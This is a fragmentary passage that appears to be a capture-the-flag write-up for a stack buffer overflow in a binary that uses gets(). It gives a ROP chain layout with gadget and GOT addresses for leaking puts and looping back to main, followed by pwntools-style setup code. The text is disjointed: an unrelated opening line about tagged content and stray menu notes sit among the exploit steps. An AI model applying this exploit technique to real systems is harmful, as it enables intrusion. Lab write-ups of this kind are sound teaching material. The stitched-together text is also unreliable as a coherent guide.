Content tagged as "W4B Toree" typically falls into several categories:

Because gets() does not perform bounds checking, we can overflow buf and overwrite the saved return address on the stack.

[ padding (64 bytes) ] ; overflow up to saved RBP [ filler (8 bytes) ] ; overwrite saved RBP [ pop rdi ; ret ] (0x400a33) ; set argument = GOT puts [ GOT puts ] (0x601018) [ puts@plt ] (0x400520) ; call puts(GOT_puts) [ main ] (0x4006d0) ; loop back for second stage

No obvious hints.

The menu repeats after each choice. Option 3 prints “You are not authorized” and exits.

We'll go with the classic method because it is reliable across different libc versions.

pop_rdi = binary.symbols['pop_rdi_ret'] if 'pop_rdi_ret' in binary.symbols else 0x400a33 ret = 0x4006b9 # simple ret for alignment puts_plt = binary.plt['puts'] puts_got = binary.got['puts'] main = binary.symbols['main']

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